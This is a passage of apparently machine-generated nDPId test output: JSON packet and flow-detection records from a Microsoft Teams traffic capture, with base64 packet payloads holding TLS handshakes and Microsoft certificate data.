AYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBABH+cgY6IQo3bsj1KSICYp5FDu36Bp\/vv54kNRf+OYiyuwHheN\/Ri5f9t3fxinJPSTrosynXdIfkufMXYIeIklWCvdl9E0h\/BpA6iWbnnZb3lc1gD9fhyvZ27vqbNUihmH3SkypPgRbHqJa70SXzpm9Q2gCbKqj0NQDj\/Sw77eUVm38WD8eOyTYglPAdAbkSUFCZgeAoQiyOeP\/txp7V5MrpoKqzSE+kX+SLGP8TAi2QETYYZig6IprelfFZ7p9tKhd1k1DDBRLV3mS0trzb13ZZ\/qXW5Vbh\/kZcO4r47A777xKQkc4gEoG6PFLjf+NA9AxBIGaHGNoyaeD23I8o8r0MAAEoAwAdIOCr76LZu+DzyppiQ4LXLjCknXmVh5L\/rzTB1MVm\/KYrBAEBAAxBncNrD\/LiaoNf070Ud5s0K3Qj6M8xR9RIm7PcqW5BGU2RT5bJ1J1\/vPw\/kEHw5B\/Uel\/7Vump0vJ2PLzOrErRyyCy28H\/CjX4MS5ml+FO20xzXCyrWMM7RTfG5O8pUzdUipdnv5tp8CEA9qx6ymaIH4LQzcd25exQ1jXi1wp2wpq1d3aNjekPj4eK0nEZdfqEb7DCsRd5VORtQjWIRft09NKay8Oga5U9FYZDF3Q3Jgh7ntp9aEW45cCnmqMHChTsgN77+cu6BRJVKaTHLAYBcjy+pnzEKqtwv\/FE2G8wlFpV2sdcybgRd9GbYcZ+DBsXlYzmLLHTjMll+hgnm6kOAAAA"} +01300{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1864,"source":"teams.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":8,"flow_first_seen":1587041685232,"flow_last_seen":1587041685327,"flow_tot_l4_data_len":4685,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":585,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60552,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","server_names":"*.events.data.microsoft.com,events.data.microsoft.com,*.pipe.aria.microsoft.com,pipe.skype.com,*.pipe.skype.com,*.mobile.events.data.microsoft.com,mobile.events.data.microsoft.com,*.events.data.msn.com,events.data.msn.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"ae4edc6faf64d08308082ad26be60767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","issuerDN":"CN=*.events.data.microsoft.com","fingerprint":"33:B3:B7:E9:DA:25:F5:A0:04:E9:63:87:B6:FB:54:77:DB:ED:27:EB"}} +00424{"flow_id":44,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1866,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":327777,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyIAbtyjZRiGnF3KoAQD9Z1TgAAAQEICjCEuZ5hHtxG"} +00554{"flow_id":44,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1867,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":329295,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2KDc3AG3ICABFAACRAABAAEAG9yXAqAEGNHJNIeyIAbtyjZRiGnF3KoAYEABTMQAAAQEICjCEuZ9hHtxGFgMDACUQAAAhIDvgCHP2mI9cHzHqLz85L4rinpyirwQM0G15qiz8GUl0FAMDAAEBFgMDACgAAAAAAAAAANX1ITsccwssQQ7QgJqtBU2+fCpbWHhbhVG\/24Xb2iQ\/"} +02367{"flow_id":47,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1868,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":350456,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUVA5AAGwGcdQ0ck0hwKgBBgG77IvHJo2rMLP55IAQBAVq\/gAAAQEICmEfAvowhLmBFgMDF7oCAABVAwNemFWVkv8HhgEBqRl7J096sK\/AcfyJkv6Je+CA9SLGGCApBQAAsHV\/DAKaYivrrDw\/3qGp42fGJ7afmMuMlyPWksAwAAANAAUAAAAXAAD\/AQABAAsADt0ADtoACRwwggkYMIIHAKADAgECAhMWAAq9oyiKJqzr8XheAAAACr2jMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNDAeFw0xOTEwMTAyMTU1MzhaFw0yMTEwMTAyMTU1MzhaMCYxJDAiBgNVBAMMGyouZXZlbnRzLmRhdGEubWljcm9zb2Z0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKvCd9UicgkwpI8bSwvCRO2lOesvtPd+z3GH6xRllv8Ei9b8VelLW2PuVMgau2FL6GVCPmGFiOhTMrB6Z5IhkEeYdzS19ordJYDNCTCV4CGHzvr3YSWpcXIsFnyRznGOPnlEMKU5qRnjk8yv7HdVvlTmG5IFjydJQBIE3EVy\/zWWQLcnHvkr+Pm+Ix8GPacEMThyVrZ57NGyt4w\/0XALYy3lIrBrwRrbdUiLTzkL4A+otgHb4wpI6lV59J8U\/8irhpL7YotYvOZ643jEuaSoC\/jdiOIKCF3kQGitPPXXdCq5zTupCxIYUh4B8CR5z8H6nlx9UNqdWcNq9d5jrCXcj+0CAwEAAaOCBNcwggTTMIIBfwYKKwYBBAHWeQIEAgSCAW8EggFrAWkAdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAW23tMw9AAAEAwBHMEUCIF1LvMGCv0Kl+bp5C3GlL+E\/KEFrucmW+jN0WG1BTye7AiEAlb84qvncp6SV0hcgJPmaG243TJvGYrss3NJol6FvYZkAdgBVgdTCFpA2AUrqC5tXPFPwwOQ4eHAlCBcvo6odBxPTDAAAAW23tM08AAAEAwBHMEUCIDiK+zbmA9fB\/F+jlf2HQYINB6AsuO6IJw9RLZW6d2VYAiEAgFQKKr4w6oc+CLe9pgqJVTk\/xWbnsVo3VT1pL7gD2NQAdwBElGUusO7Or8RAB9io\/ijA2uaCvtjLMbU\/0zOWtbaBqAAAAW23tMxBAAAEAwBIMEYCIQDC8ilwFdB7z4rC1+bZS4g04LUlLUYH350FnOYfD3Y\/DwIhAKOhDWx9PqjkWoW1QpLAVveNHTmUFKE125bJ\/m64vRMUMCcGCSsGAQQBgjcVCgQaMBgwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwPgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYTS30KC55N6AgFkAgEdMIGFBggrBgEFBQcBAQR5MHcwUQYIKwYBBQUHMAKGRWh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA0LmNydDAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AubXNvY3NwLmNvbTAdBgNVHQ4EFgQUGvpD1lPIMLQZUxjL0t3R6SFpb+0wCwYDVR0PBAQDAgSwMIHyBgNVHREEgeowgeeCGyouZXZlbnRzLmRhdGEubWljcm9zb2Z0LmNvbYIZZXZlbnRzLmRhdGEubWljcm9zb2Z0LmNvbYIZKi5waXBlLmFyaWEubWljcm9zb2Z0LmNvbYIO"} +02366{"flow_id":47,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1869,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":350487,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUVA9AAGwGcdM0ck0hwKgBBgG77IvHJpNLMLP55IAQBAXV9QAAAQEICmEfAvowhLmBcGlwZS5za3lwZS5jb22CECoucGlwZS5za3lwZS5jb22CIioubW9iaWxlLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb22CIG1vYmlsZS5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghUqLmV2ZW50cy5kYXRhLm1zbi5jb22CE2V2ZW50cy5kYXRhLm1zbi5jb20wgawGA1UdHwSBpDCBoTCBnqCBm6CBmIZLaHR0cDovL21zY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDQuY3JshklodHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDQuY3JsME0GA1UdIARGMEQwQgYJKwYBBAGCNyoBMDUwMwYIKwYBBQUHAgEWJ2h0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NwczAfBgNVHSMEGDAWgBR6e4zBz+egyhzUa\/r74TPDDxqinTAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDQYJKoZIhvcNAQELBQADggIBAFMQpslR3dx+wTZu8axQ1nNJVCkHxX72SY+3xpu9NsmDXzW9ex97AzDMmxVtMb5S\/RM82m\/VJB9vbs6aS3L4Ej22rJMqFcPtmlFAzllPQTT11+eX2mndkdSOirQvj31e2C7Zm4nL0hs+AKs2MPWa3qlMpm7cBR8fphI9au21dxJ1Af7ZFRiS1OK7RLGzTsjWNK09TD0Xtqmes\/DkyP1G8HsNkvgs0KujUhIpxZ6ENuHd9y\/fkNlUeyCcYGSWdCSyUW9hJJsgUxtWyT2xYgA3VdbfWEmNqbO6FXpL9vXf1wyDgwJ0BUdSB6pTF7Qu+01qEbIdV+Kwt4krS5vu2A1zXGf+DI\/SLqA5lmr25CQg9Heab6zyCwGbbl2obr0M0LQGNp9L7tfgIR8TG5PXti9oiWG5Pvj\/xgkrB9BNzMBbhgcdmg\/JHA\/xmrDkoCdoV9T3phm8e\/2PRRkLnVYTeoJIy74omcWUBgyN4XOGjZEqOhxVzHMFTut\/kS3eRZkHF8UOMEIDmvIDxvWflrHn2snVI4z3RZqb8ZQvC\/\/4cuVY9vaGe7JGkjaUgsgUjZAbJAM0rfXpedGVa4TOSeItwRtYyVRrtqKo5csZW34aGulXTm8aYBl42EawSgmDCThkiFtRwbFaTzh4jtx00U1knN57J6OyoU7euTQdm3Rh2iFxVtfHAAW4MIIFtDCCBJygAwIBAgIQC2qzsD6xqfbEYJJqqM3+szANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJJRTESMBAGA1UEChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYDVQQDExlCYWx0aW1vcmUgQ3liZXJUcnVzdCBSb290MB4XDTE2MDUyMDEyNTIzOFoXDTI0MDUyMDEyNTIzOFowgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA0MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAq+XrXaNrOZ71NIgSux1SJl19CQvGeY6rtw7fGbLd7g\/27vRW5Ebikg\/iZwvjHHGk1EFztMuZFo6\/d32wrx5s7XEuwwh3Sl6Sruxa0EiB0MXpoPV6jx6NXtOtksDaxpE1"} +00425{"flow_id":47,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1870,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":350571,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyLAbsws\/nkxyaY64AQD69cigAAAQEICjCEubNhHwL6"} +02371{"flow_id":47,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1871,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":350732,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUVBBAAGwGcdI0ck0hwKgBBgG77IvHJpjrMLP55IAQBAWSYgAAAQEICmEfAvowhLmBMSC5OQTNECo8lx0AnpkYGAnPS5fkyfwA8AxanTboskDBSqyEKKo9Rhgrp4qs9K9LqH5JQsdiIMDmpztd65Afu4rYnJDjOrFswpTOPjJry3GzQS65xeFd2FkngvvhSA1+6ATx+QEnQfqUWn3FMLu2utcRm4j6AcxuS5K5+Hg8y5xomhZmiNCTsCqDLpcRHX6BIGHksLmbnG5TlZUixtm9dRC62XWMPD8d0Jb4M0V7ex9UM+VIl6cFJKLb0dyVriAqfZaJSHuSetAksd5IEfdnPLTf+Fhg9U97NGjm\/awmCLbzLEPbT8QW0JsMcYexB2uG3Y+gsftm2tjL6fLwZeWO2BzqL7otZPFe0BtQsgyFSs87yC4qanWMwK5c2enAfH182pzjvUqwYAeCK31dyBCvLmKM3Jr94dm5WUiXQhrDUIELH4Mia+SbvCkigv2AUVx1Xw41wt1\/L3pnnz2OW4y7r530zAz7qB+dIcHz51IaXc4UV21QuEnusQsn0uJpJxJuxsAmPuekKxuLUzgG+hqHOuBLf5kWTlk9WWnxcadlZRsCAwEAAaOCAUIwggE+MB0GA1UdDgQWBBR6e4zBz+egyhzUa\/r74TPDDxqinTAfBgNVHSMEGDAWgBTlnVkwgkdYzKz6CFQ2hns6tQRN8DASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjAnBgNVHSUEIDAeBggrBgEFBQcDAQYIKwYBBQUHAwIGCCsGAQUFBwMJMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9PbW5pcm9vdDIwMjUuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMA0GCSqGSIb3DQEBCwUAA4IBAQAR\/nIGOiEKN27I9SkiAmKeRQ7t+gaf77+eJDUX\/jmIsrsB4Xjf0YuX\/bd38YpyT0k66LMp13SH5LnzF2CHiJJVgr3ZfRNIfwaQOolm552W95XNYA\/X4cr2du76mzVIoZh90pMqT4EWx6iWu9El86ZvUNoAmyqo9DUA4\/0sO+3lFZt\/Fg\/Hjsk2IJTwHQG5ElBQmYHgKEIsjnj\/7cae1eTK6aCqs0hPpF\/kixj\/EwItkBE2GGYoOiKa3pXxWe6fbSoXdZNQwwUS1d5ktLa829d2Wf6l1uVW4f5GXDuK+OwO++8SkJHOIBKBujxS43\/jQPQMQSBmhxjaMmng9tyPKPK9FgAHKwEABycwggcjCgEAoIIHHDCCBxgGCSsGAQUFBzABAQSCBwkwggcFMIHHohYEFJ\/ldPQSLwcZJHaSD6SOKmapFFoKGA8yMDIwMDQxMjIwMTgxM1owgZswgZgwTDAJBgUrDgMCGgUABBQirwAcgHViBybgyJMa7KdCHDISOgQUenuMwc\/noMoc1Gv6++Ezww8aop0CExYACr2jKIomrOvxeF4AAAAKvaOAABgPMjAyMDA0MTIyMDE4MTNaoBEYDzIwMjAwNDE2MjAxODEzWqEiMCAwHgYJKwYBBQUHMAEGBBEYDzIwMTkwNDEzMjAxODEzWjANBgkqhkiG9w0BAQsFAAOCAQEAECbjKyDb9piP6hJkL6wfG9E8D09C4s5EJtshDBi95KyeBNmrhANouwaebIfXIBuDmHtHIJMqNzg+MDdajIvhQs4J6\/eyP1lV09t\/FIIkE4pCBQTXyxMmal3Q47TQ0Kl7OnD32GWGN\/AXz50m2PxpLaVqTyzn9+k+CNLi5FLecb3y1PhPb38PVLwdKd9NCsFonNvmPocHr7gn"} +00425{"flow_id":47,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1872,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":350807,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyLAbsws\/nkxyaei4AQEABWmQAAAQEICjCEubNhHwL6"} +02369{"flow_id":47,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1873,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":350844,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUVBFAAGwGcdE0ck0hwKgBBgG77IvHJp6LMLP55IAQBAUzCQAAAQEICmEfAvowhLmBSqXCnzW92VpGfmYH1m1omtpnznil4dlESqAdtp3w6FXuEWbbWJo8SXlGFwdbk4I1pl1VcrvqNPn0Bj0YLUNyg6z\/RLXSi7gZzsEq6arWNJbWEMn937JTQo+WYGloIYmbu2BlzuQhg6CCBSMwggUfMIIFGzCCAwOgAwIBAgITeAASsndh+c7ajH79vAAAABKydzANBgkqhkiG9w0BAQsFADCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDQwHhcNMjAwMzE1MTUzNTM5WhcNMjEwMzE1MTUzNTM5WjArMSkwJwYDVQQDDCBNaWNyb3NvZnRfSVRfVExTX0NBXzRfS2V5QmluZGluZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMATIBf7lKqwaKqhQFEwttQXUw5ByzEryQ9IoNXEbLDHrZNeqiyiT\/DxYjDnV6K2XbHuEairT6Hd\/3mI+WXHLvIQyAfuqZ501GK4bFEr58Brkwf1pW2WiZoXKoECvKx17jX8de4vhRbga3CICRPkTGATbAdgRXtPlfTdiwBZYzckpDAyMH6tdmR+35STkxYv9wm2jn7IwvRDAmvbAv0CTrpsqy4QycZ3xTOgA4CnlGTQObFHO01OOX+Vnae0VewDIkAvHerQQOt4vDSrZJ+0M6J5QeY2w69sA+NixYq0NdrKFdHSCqTABtqZJSuYVd\/pATtcNC4dNHIbt3+ytRJw2UMCAwEAAaOB1jCB0zAdBgNVHQ4EFgQUn+V09BIvBxkkdpIPpI4qZqkUWgowDgYDVR0PAQH\/BAQDAgeAMBMGA1UdJQQMMAoGCCsGAQUFBwMJMA8GCSsGAQUFBzABBQQCBQAwHwYDVR0jBBgwFoAUenuMwc\/noMoc1Gv6++Ezww8aop0wPgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYHMm0eByOkWAgFkAgEHMBsGCSsGAQQBgjcVCgQOMAwwCgYIKwYBBQUHAwkwDQYJKoZIhvcNAQELBQADggIBAFB\/+eVKiCzYpoy5Agpf51mXq7983iy06QEBMgD7xZ+An6o3IXbTIKWWdGFupril3klOtFgYlmEYDtqBrObKKb3Aa9XQdwfEss3eg1kE\/mAXmMsLQirGAkS9OLLLX\/XBhF22v5Klwo2LZkJpzfHu+gG+x\/dgf9\/WMCnbNDzuoqFHLU+ZxSQl2wlHY6eRg2B1Hqg8oKw+Q+976pleMF18RWOr125gzUgUWrQxhdSUULLxiGfERxqzHiYKcDoHXg73x7BpJlmEZo\/o\/L\/rstGG5Z\/fqpem29cjxsUlkSV3bkDlpH4I4e9hauVaaZ+J7cj1gR4MZNWh0eYfF6wt4EtBCbGm5mCcnV5ljBJLaDhs8345KieyA+UcvOYElxSnPEmXeaC1yPI37Y6AXjoDhXUQ25wJUZ0tiOxuj+STpTtXQqKoREwaMhR5RUy32181R\/rFhdSxU4qwh81wAxsOII7aF\/qr7WcrEInDqnSqwHUA2XMmLTRcfXu2+x128AGRHbqNBHFalzVyTiXoSs1igTXzp1SeVx2UqNogdTiNDgJLp9LUe5kVAPpV0+l8AVK\/wHHMLjo8cPjAyFQcXaDH0qn38BOtuisno7F5dVLUFr4hDMZfoylWwaIfbZXO6ZHu0S9+3DLQxful835f3IcGsmZW8Ubizp3rBQ4cz1xP0POIW8uADAABSQMAF0EEVUOl7pe4bv3w"} +00863{"flow_id":47,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1874,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":350857,"pkt_caplen":385,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":385,"pkt_l4_len":351,"pkt":"KDc3AG3IEBMx8Tl2CABFAAFzVBJAAGwGdjE0ck0hwKgBBgG77IvHJqQrMLP55IAYBAUAZwAAAQEICmEfAvowhLmB1mwwl2HxCaeNZf17r\/V0yqBBRUoHnSvpJmfw6E5\/tgsHr+tD173BXAbUQ1q55sAirgtlRvVLMwQBAQB6UEtdRqN6XcCq+KRys\/Id+5V1qj9US4tzhJ0XgkMi0hY5EuDvbgQWD3\/fDG94JYyTghb4WT9Y+fDAtWTmXywcT2ZdIZxDZvSgmUvPjmr++A7GMVbTktM\/DKSuOgFp6shWbA5xJZUblQb7pxTkebO9BeatiO6RekvrEoiUUN+Xacl1ILS15afpfKMbxVZC7Ti0ZCITP6EGK7vKsDW4ihkofOECzrtFqRexltpRNoX+4QBQ65s87v77RRyCfwvscg5jnYI0zipu3ESDDT\/Q50JMmLnztzHXDSJj1xNv\/diMlo4Y3lpOj6meifNpVlumTA4JHWjK+W9UZsTw9LOeNTF1DgAAAA=="} +01301{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1874,"source":"teams.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":11,"flow_first_seen":1587041685248,"flow_last_seen":1587041685350,"flow_tot_l4_data_len":6641,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":603,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60555,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","server_names":"*.events.data.microsoft.com,events.data.microsoft.com,*.pipe.aria.microsoft.com,pipe.skype.com,*.pipe.skype.com,*.mobile.events.data.microsoft.com,mobile.events.data.microsoft.com,*.events.data.msn.com,events.data.msn.com","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"986571066668055ae9481cb84fda634a","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","issuerDN":"CN=*.events.data.microsoft.com","fingerprint":"33:B3:B7:E9:DA:25:F5:A0:04:E9:63:87:B6:FB:54:77:DB:ED:27:EB"}} +00426{"flow_id":47,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1875,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":350884,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyLAbsws\/nkxyalaoAQD8lP8QAAAQEICjCEubNhHwL6"} +00495{"flow_id":48,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1876,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":351722,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnVERAAGwGxxkofgkHwKgBBgG77IwJM0FdxeiJOoAYBAREIgAAAQEIClJKuJ4whLmbFAMDAAEBFgMDACgAAAAAAAAAAIBKHfNSFxBlmWv7H0u34ZHIWc0Rm83nyQsUXsoW1cEf"} +00426{"flow_id":48,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1877,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":351776,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR5HAqAEGKH4JB+yMAbvF6Ik6CTNBkIAQD\/72OwAAAQEICjCEubRSSrie"} +02363{"flow_id":48,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1878,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":352778,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAGQf3AqAEGKH4JB+yMAbvF6Ik6CTNBkIAQEABq+QAAAQEICjCEubRSSrieFwMDBsAAAAAAAAAAAZN+26IKokM\/ZJdqew2hyoVZsYfwirlKPCuD+rB9vU36bay4A1aRuUa47So2DTw3mKKAAiCas06RU3RR8C9HV6Z3G5shmetImIwR+iC\/Q\/93kNmIa6dp0d8XBDsbQgY\/n3IfyicZy2Gsa6borBu84VworLrUTByg1c4zc0w2AIDXE4Ge9CKyi73QyCqr1WKf8qEhM4eKqonhDGX3WvOtK\/16UQJmoHXA4+NjaOu+6vEkftmUKf3w\/pXP0cg7Xi2Yr78W6quARHrOk7v5h5JnIC4Xd8f12f5t8dxxa7MrgaZc1w06ZP+O9J8va3gaemP8wDVgpuEMfeWo1uQ2EXidZGfUWa9yMA9m+TTDTlkzd1iZn\/Nd15FbyY1kAIdHfBaoEFvSIETFKB\/dO4WJubLpR5UwO2jRcmLHiOorUkYZqEC5eDOjqkFQ2HnDTsAOoBBYQqalZ1321SVZtVdbxPW0t0ew1tEKC12JOLpx3d+4aeTaLCcfdA7AoRUUBrwzLVNSw5igewuDRF0GKGdvRoaE0c+VD+sMCJEmmWQZFGMtgqNNWDuu1PgEukvCJDUfDxZ04oqRPtELlTFA+iJMRWW2BCJRAqN33wpLI9qm53Uyg4ZoqGlBW8lRrAWBvSGsj9INEFJe4t1SMknz3q+wJgCC5+nwr1WHMvuGBVUE8uNyIEihhlI4YYwf3o8brRpRSQNynZzvIPxUIcARhPxTY8U2g2nfAI+fPeRRnRcB\/JMbytApHr8RPcoQ2VjJEQ5P+ZnPB4qzF3tU8PJXKk\/Iz93vjGEEYv75KE4ta0KGyROUiJJTrhW5xgN7z\/eZTnQK9FiFR0Atsk\/5engV5VkbmCHfIEAQST5ANhzxnExz\/XgfGra31U1Ag